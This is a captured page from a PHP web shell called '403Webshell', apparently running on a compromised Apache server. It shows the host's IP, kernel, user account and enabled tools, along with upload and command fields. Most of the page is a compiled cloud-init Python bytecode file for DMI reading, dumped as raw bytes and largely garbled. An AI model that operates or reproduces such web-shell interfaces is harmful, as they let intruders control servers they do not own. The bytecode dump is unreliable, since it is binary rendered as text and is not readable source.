403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.46
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/cloudinit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/cloudinit/__pycache__/dmi.cpython-36.opt-1.pyc
3

��b��@sddlZddlmZddlmZddlmZddlmZm	Z	ej
e�ZdZ
eddd	g�Zd5ej_ed
d�edd
�edd�edd�edd�edd�edd�edd�edd�edd�edd�ed d!�ed"d#�ed$d%�ed&d'�ed(d)�ed*d+�d,�Zd-d.�Zd/d0�Zd1d2�Zd3d4�ZdS)6�N)�
namedtuple)�log)�subp)�is_container�
is_FreeBSDz/sys/class/dmi/idZKernelNames�linux�freebsdZboard_asset_tagzsmbios.planar.tagZboard_vendorzsmbios.planar.makerZ
board_namezsmbios.planar.productZboard_serialzsmbios.planar.serialZ
board_versionzsmbios.planar.versionZ	bios_datezsmbios.bios.reldateZbios_vendorzsmbios.bios.vendorZbios_versionzsmbios.bios.versionZchassis_asset_tagzsmbios.chassis.tagZchassis_vendorzsmbios.chassis.makerZchassis_serialzsmbios.chassis.serialZchassis_versionzsmbios.chassis.versionZ
sys_vendorzsmbios.system.makerZproduct_namezsmbios.system.productZproduct_serialzsmbios.system.serialZproduct_uuidzsmbios.system.uuidZproduct_versionzsmbios.system.version)zbaseboard-asset-tagzbaseboard-manufacturerzbaseboard-product-namezbaseboard-serial-numberzbaseboard-versionzbios-release-datezbios-vendorzbios-versionzchassis-asset-tagzchassis-manufacturerzchassis-serial-numberzchassis-versionzsystem-manufacturerzsystem-product-namezsystem-serial-numberzsystem-uuidzsystem-versioncCs�tj|�}|dks|jdkr dSdjt|j�}tjd|�tjj	|�sVtjd|�dSy"t
|d��}|j�}WdQRXWn tk
r�tjd|�dSX|dt
|�dd	kr�d
}y|jd�j�Stk
�r�}ztjd|||�WYdd}~XnXdS)
z/
    Reads dmi data from /sys/class/dmi/id
    Nz{0}/{1}zquerying dmi data %szdid not find %s�rbzCould not read %s����
��utf8z-utf-8 decode of content (%s) in %s failed: %s)�DMIDECODE_TO_KERNEL�getr�format�DMI_SYS_PATH�LOG�debug�os�path�exists�open�read�PermissionError�len�decode�strip�UnicodeDecodeError�error)�key�kmapZdmi_key_path�fpZkey_data�e�r$�/usr/lib/python3.6/dmi.py�_read_dmi_syspath+s2
r&cCs�tj|�}|dks|jdkr dStjd|j�y6dd|jg}tj|�\}}|j�}tjd||j�|Stjk
r�}ztjd||�dSd}~XnXdS)z/
    Reads dmi data from FreeBSD's kenv(1)
    Nzquerying dmi data %sZkenvz-qzkenv returned '%s' for '%s'zfailed kenv cmd: %s
%s)rrrrrrr�ProcessExecutionError)r r!�cmd�result�_errr#r$r$r%�
_read_kenvQs
r+cCs|yF|d|g}tj|�\}}|j�}tjd||�|jdd�dkrDdS|Stjk
rv}ztjd||�dSd}~XnXdS)z
    Calls out to dmidecode to get the data out. This is mostly for supporting
    OS's without /sys/class/dmi/id support.
    z--stringz dmidecode returned '%s' for '%s'�.�zfailed dmidecode cmd: %s
%sN)rrrr�replacer')r �dmidecode_pathr(r)r*r#r$r$r%�_call_dmidecodehs
r0cCs�t�r
dSt�rt|�St|�}|dk	r,|Sdd�}tj�d}||�pN|d
ks`tjd|�dStj	d�}|rxt
||�Stjd	t�dS)a�
    Wrapper for reading DMI data.

    If running in a container return None.  This is because DMI data is
    assumed to be not useful in a container as it does not represent the
    container but rather the host.

    This will do the following (returning the first that produces a
    result):
        1) Use a mapping to translate `key` from dmidecode naming to
           sysfs naming and look in /sys/class/dmi/... for a value.
        2) Use `key` as a sysfs key directly and look in /sys/class/dmi/...
        3) Fall-back to passing `key` to `dmidecode --string`.

    If all of the above fail to find a value, None will be returned.
    NcSs$|dkp"|ddko"|dd�dkS)NZx86_64r�i�Z86r$)Zarchr$r$r%�is_x86�szread_dmi_data.<locals>.is_x86��aarch64�amd64zdmidata is not supported on %sZ	dmidecodez0did not find either path %s or dmidecode command)r5r6)rrr+r&r�unamerrrZwhichr0r)r Z
syspath_valuer3Z
uname_archr/r$r$r%�
read_dmi_datazs"

r8)NN)r�collectionsrZ	cloudinitrZloggingrZcloudinit.utilrrZ	getLogger�__name__rrZkdmi�__new__Z
defaults__rr&r+r0r8r$r$r$r%�<module>s:
&

Youez - 2016 - github.com/yon3zu
LinuXploit